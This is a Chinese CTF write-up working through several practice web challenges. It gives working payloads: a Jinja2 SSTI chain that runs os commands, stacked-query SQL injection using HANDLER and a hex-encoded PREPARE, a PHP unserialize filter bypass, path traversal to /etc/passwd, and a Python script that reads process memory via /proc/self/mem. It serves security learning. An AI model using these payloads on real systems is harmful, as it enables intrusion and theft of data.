command_execution
典型的SSRF,先用命令找一下flag在哪里
xff_referer
修改一下xff和refere就可以了
php_rce
经典的thinkphp框架,闭着眼睛拿工具梭
这款工具无法直接getshell换一个
拿蚁剑直接连
Web_php_include
先分析代码
while (strstr($page, "php://")) {:这个while循环检查变量$page的值中是否包含字符串"php://"。strstr函数用于检查一个字符串是否包含另一个字符串,如果包含则返回真(true),否则返回假(false)。
如果为真就会用空字符替换所有的php:/
有include所以这道题就是文件包含只是过滤了php://
所以可以使用data协议来执行php代码
cat 一下这个看起来很奇怪的文件
upload1
一看到这种首先看mime类型,这里确定只能传png图片类型的,什么gif的还不可以,然后看什么服务器和php版本号,设计apache的首先想到apache解析漏洞,然后php5点几版本是低版本可以尝试各种后缀名截断方式
然后尝试上传发现并不会过滤文件的内容
首先尝试后缀名截断
看了看了上传的文件名拼接方式。直接把后缀改为php就可以了
warmup
这道题我之前做过
首先查看源代码发现给了个提示,打开文件是代码审计
讲一下思路,首先是一个类,类中定义了一个函数,通过传入参数file=的值再传入这个checkfile函数中
主要是这个checkfile函数比较复杂
一开始定义了一个白名单
if (! isset($page) || !is_string($page))
这个if判断传入的参不能为空或者不是字符串只要满足一个就成立
if (in_array($page, $whitelist))
这个if判断$page是否有前面定义的数组里的任意一值source.php或者hint.php然后返回true
$_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') );
mb_substr($page, 0, mb_strpos($page . '?', '?')):
mb_substr函数用于获取字符串的一部分。它接受三个参数:原始字符串、开始位置和要获取的字符数。
$page:这是原始字符串,可能是用户输入的文件名或路径。
0:这是开始位置,表示从字符串的第一个字符开始。
mb_strpos($page . '?', '?'):这是要获取的字符数,它实际上是字符串中第一个问号的位置。
mb_strpos($page . '?', '?'):
mb_strpos函数用于查找字符串中某个子字符串的第一次出现位置。它接受两个参数:要搜索的字符串和要查找的子字符串。
$page . '?':这是要搜索的字符串,它将$page与一个问号(?)连接起来,这样即使$page以问号结尾,mb_strpos也能正确地找到问号的位置。
'?':这是要查找的子字符串,即问号。
这个函数的作用就是如果传入的值有?在里面就会截取问号前面的值重新赋值给$page相当于变相的过滤掉?和后面的东西
到这一步我们可以尝试?file=hint.php,他会包含这个hint.php文件并且打印出来
提示了flag所在的文件ffffllllaaaagggg
这个时候输入?file=hint.php?ffffllllaaaagggg
过滤那里截取出hint.php的时候判断完会返回真,进入include,但是include包含的是hint.php?ffffllllaaaagggg文件,没有这个文件名的文件,所以无法回显。
另外这里因为第二个过滤和前面这个一样
$_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; }
只是urldecode的之后再进行的过滤操作,所以其实不需要考虑这里的过滤了
然后就是最后这个目录穿越比较难想到,不过也就是这是个flag一般放在/目录下才这样去找。否则就算想到了可以使用目录穿越也不会穿越这么多级去找,黑盒环境遇到这种真的只能靠运气。
NewsCenter
发现是一个post传参的页面,然后就没其他的功能了,估计就是SQL注入,先模糊测试了一下,没有报错也没有特别的回显,只能凭感觉测试
发现回显位,并且发现字段只有3段,输入4报错了
爆表 news,secret_table
爆news中的列
爆secret_table中的列,发现了fl4g
拿到flag
Web_php_unserialize
先代码审计,先分析传入的参的过滤
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
这个正则表达式/[oc]:\d+:/i的含义如下:
[oc]:匹配字符'o'或'c'。方括号[]表示匹配括号内的任意一个字符。
::匹配字面字符':'。
\d+:匹配一个或多个数字字符。\d是数字字符的简写,+表示匹配一次或多次。
::再次匹配字面字符':'。
i 标志表示执行正则表达式的不区分大小写匹配。
所以,这个正则表达式匹配任何以'o'或'c'开头,后跟一个或多个数字,然后是两个冒号的字符串。例如,它会匹配o:123: c:456:等这样的东西,也就是说一般序列化后的开头的这个O:4:会被过滤掉
在看上面的类wakeup会在反序列化时被触发,destruct在对象被摧毁是触发,也就是说需要先绕过wakeup然后destruct就会自动执行,绕过wakeup很简单只要在修改序列化的那个属性值大于真实的属性值数量就可以
对于这种过滤O:4:我是第一次见,在网上看到说加个+就可以绕过。也就是O:+4:
然后就没有其他难点了
然后手动添加+和修改1为2 并且在类名和属性名前面添加%00,这里我使用的bp非常好用可以直接修改16进制
然后get传入var就可以了
supersqli
看到提示sql注入,首先输入'发现页面有报错,确定是sql注入然后用字典fuzz一下
发现返回了过滤规则
return preg_match("/select|update|delete|drop|insert|where|./i",$inject);
select|update|delete|drop|insert|where:匹配这些SQL关键字中的任何一个。这些关键字通常用于数据库查询和操作。
.:匹配字面点号(.)字符。在正则表达式中,点号是一个特殊字符,代表任意单个字符,所以需要用反斜杠(\)进行转义。
/i:这是一个修饰符,表示执行不区分大小写的匹配。
看到过滤了select基本上union select就不可以使用了
先用or 看一看
返回的是数组,不过不知道这些都是什么
用1%27 order by 2--+尝试只有两列
这个靶场我好像打过。。。按照我的靶场经验,select被过滤可以尝试堆叠注入
看这个库名我猜是在"ctftraining"
爆表
爆列的时候如果是数字的列名必须用反引号包裹起来
找到了flag的位置,但是show命令就只能用到这了不能继续获取列中的数据了
然后简单的方式是使用handle命令,这个是mysql特有的命令
命令的意思是打开这个表为`1`,然后查看`1`表中的数据
还有预编译的方式
如果没有过滤select的情况在堆叠注入的情况下 ;select * from `1919810931114514`;--+ 非常快的就可以取出数据
预编译就是将select * from `1919810931114514`先将他编译出来,然后将他再用execute执行提前编译好的前面那个语句
完整执行过程,当然这个方式只有在堆叠注入中才可以实现的骚操作
为了绕过select得先进行ascii16进制编码
;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;
变量的名字可随便改
Web_python_template_injection
看着名字就知道是SSTI注入
用插件看了一下是flask的框架
看了一下没看到注入点,然后随便输了一下目录发现会把报错显示出来,那直接{{}}判断是否存在SSTI
将括号里面的内容执行了,确定了注入点就好办了
直接上通杀payload
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %} {
% endfor %}
直接执行命令并且回显了
我之前做的SSTI漏洞的笔记相当详细
也是直接拿到flag
web2
代码审计加逆向,主要是考察函数的用发
分析:
function encode($str){
$_o=strrev($str); strrev()函数用于反转字符串
// echo $_o;
for($_0=0;$_0<strlen($_o);$_0++){ 循环从0开始,一共循环60次
$_c=substr($_o,$_0,1); 从$_0开始截取,每次取一个
$__=ord($_c)+1; 将得到的转为ascii并且+1
$_c=chr($__); 再转为字符
$_=$_.$_c; 将每个字符拼接到一起
}
return str_rot13(strrev(base64_encode($_))); 最后的结果先baser64编码再反转再 ROT13 编码
}
将过程逆过来就可以了,第一次碰到这种逆向的代码,我先丢给gpt尝试一下,然后gpt给的有点问题,我修改过后还是可以使用
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function decode($str) {
// 首先,我们需要反转base64编码
$decoded = base64_decode(strrev(str_rot13($str)));
// 然后,我们需要对每个字符进行逆操作,即减1
$decoded = strrev($decoded);
for ($_0 = 0; $_0 < strlen($decoded); $_0++) {
$_c = substr($decoded, $_0, 1);
$__ = ord($_c) - 1;
$_c = chr($__);
$decoded = substr_replace($decoded, $_c, $_0, 1);
}
// 最后,我们需要反转字符串
$decoded =$decoded;
return $decoded;
}
// 使用解密函数
$decrypted = decode($miwen);
echo $decrypted;
?>
然后我自己写的也是可以运行得出结果
做这种题感觉有点吃力,脑子转不过来的感觉。。。
catcat-new
仔细看了看了页面的各个地方,发现是python的网站,一般python的网站考的最多的是SSTI,然后看了下确实是flask的框架
然后点击页面发现是这样的路径,有点像php的文件包含
然后尝试一下包含/etc/passwd文件
确实出来了
在网上看了看了flask的框架的默认启动时app.py文件,尝试包含一下这个文件看能不能拿到源码
往上跳一个文件夹也是成功拿到了源码,让gpt重新格式化了一下源码。
import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat
# 全局变量,用于存储flag
flag = ""
# 创建Flask应用实例
app = Flask(__name__)
# 配置静态文件路径和SECRET_KEY
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
# 检查是否存在flag文件
if os.path.isfile("/flag"):
flag = cat("/flag")
os.remove("/flag")
# 定义主页路由
@app.route('/', methods=['GET'])
def index():
detailtxt = os.listdir('./details/')
cats_list = []
for i in detailtxt:
cats_list.append(i[:i.index('.')])
return render_template("index.html", cats_list=cats_list, cat=cat)
# 定义文件信息路由
@app.route('/info', methods=["GET", "POST"])
def info():
filename = "./details/" + request.args.get('file', "")
start = request.args.get('start', "0")
//这个的意思就是接受get传入的start,下面还有一个end,在给到这个源码的地方其实还可以这样写../app.py&start=0&end=100000,这可以指返回的开始字符和结束字符,虽然对本题没没什么用,但是我还是第一次知道python是怎么获取到传入的参数的值的
end = request.args.get('end', "0")
name = request.args.get('file', "")[:request.args.get('file', "").index('.')]
return render_template("detail.html", catname=name, info=cat(filename, start, end)) //将结果渲染会模版并且返回到用户
# 定义管理员路由
@app.route('/admin', methods=["GET"])
def admin_can_list_root():
if session.get('admin') == 1:
return flag
else:
session['admin'] = 0
return "NoNoNo"
# 如果脚本作为主程序运行,启动Flask应用
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=5637)
python我会但是web方面的一些知识到是不是很懂
分析了下要重session['admin']对应的值是1才可以返回flag,但是这个怎么修改hiatus不知道,不过在我思考的时候注意到这个cat,因为上面导了包而且我用的pycharm在分析发现没有这个库估计是自己写的,把这个文件拔下来看看
import os
import sys
import getopt
def cat(filename, start=0, end=0) -> bytes:
data = b''
try:
start = int(start)
end = int(end)
except:
start = 0
end = 0
if filename != "" and os.access(filename, os.R_OK):
with open(filename, "rb") as f:
if start >= 0:
f.seek(start)
if end >= start and end != 0:
data = f.read(end - start)
else:
data = f.read()
else:
data = f.read()
else:
data = ("File `%s` not exist or can not be read" % filename).encode()
return data
if __name__ == '__main__':
opts, args = getopt.getopt(sys.argv[1:], '-h-f:-s:-e:', ['help', 'file=', 'start=', 'end='])
fileName = ""
start = 0
end = 0
for opt_name, opt_value in opts:
if opt_name in ('-h', '--help'):
print("[*] Help")
print("-f --file File name")
print("-s --start Start position")
print("-e --end End position")
print("[*] Example of reading /etc/passwd")
print("python3 cat.py -f /etc/passwd")
print("python3 cat.py --file /etc/passwd")
print("python3 cat.py -f /etc/passwd -s 1")
print("python3 cat.py -f /etc/passwd -e 5")
print("python3 cat.py -f /etc/passwd -s 1 -e 5")
exit()
elif opt_name in ('-f', '--file'):
fileName = opt_value
elif opt_name in ('-s', '--start'):
start = opt_value
elif opt_name in ('-e', '--end'):
end = opt_value
if fileName != "":
print(cat(fileName, start, end))
else:
print("No file to read")
好吧看了看好像没什么卵用。。。就是用来读文件的
看wp竟然是session伪造,我好久之前遇到过这种题但是太久了都忘记了,看到flask的secretkey就应该要想到session伪造
清楚了考点接下来就是如何拿到key,首先必须要得到secretkey的值才可以进行伪造,这里的session是由三段组成
第一段就是发送的数据
第二段一般是时间戳,第三段就是使用了secretkey进行签名的字段,所以要想伪造就得得到secretkey
这个竟然可以获取源码那么说明有方法得到key
/proc/self/maps 是 Linux 文件系统中的一个特殊文件,它提供了当前运行进程的内存映射信息。这个文件对于调试和分析内存使用情况非常有用,因为它显示了进程的内存布局,包括代码段、堆、共享库、栈等。
一个内存区域的条目通常包括:
起始地址(Start):内存区域的起始地址。
结束地址(End):内存区域的结束地址。
权限(Perm):内存区域的权限,如rwx(读写执行)、rw-(只读)、r--(只读)等。
类型(Type):内存区域的类型,如heap、stack、shared、anon等。
描述(Desc):内存区域的描述,可能是文件名、共享库名等。
可以看看自己Linux上面的啥样
尝试包含这个文件
意思就是要去这些内存中去找这个key,因为这个key生成写在代码里的,他肯定在内存中,只不过这里也是挺玄幻的,毕竟这个内存还要看读写的权限是否有才可以把他读出来。。。。。
对这种堆栈不怎么了解更别说是python的框架了,看了看wp的脚本,主要思路还了解了,拿到key直接可以使用github上面的项目编码成session
然后wp这个脚本也将这个编码顺便写好了,不过不知道怎么的拿不到flag。。。。。。
然后又发现一个wp,这wp就比较骚,在源码里面有这么一个操作
这个操作就导致flag文件其实也在内存中。。。它直接匹配flag 。。。附上wp的脚本
import requests
import re
baseUrl = "http://61.147.171.105:51973/info?file=../../../../.."
if __name__ == "__main__":
url = baseUrl + "/proc/self/maps"
memInfoList = requests.get(url).text.split("\\n")
mem = ""
for i in memInfoList:
memAddress = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
if memAddress:
start = int(memAddress.group(1), 16)
end = int(memAddress.group(2), 16)
infoUrl = baseUrl + "/proc/self/mem&start=" + str(start) + "&end=" + str(end)
mem = requests.get(infoUrl).text
if re.findall(r"{[\w]+}", mem):
print(re.findall(r"\w+{\w+}", mem))
有一说一确实跑出来了666,但是这里要去掉xff,这种取巧的方式也确实是骚
要想完成这个靶场需要丰富的python开发经验以及对于堆栈要比较熟悉,而且靶场也是环环相扣,前面以为没啥用的start和end没想到等在这里用,做完对于内存也还是不甚理解,只能说确实不配填这个提交flag。
至此2星的靶场全部打完,个人认为这道题最难,其次是supersqli,其它只要多花点时间和细节一点就可以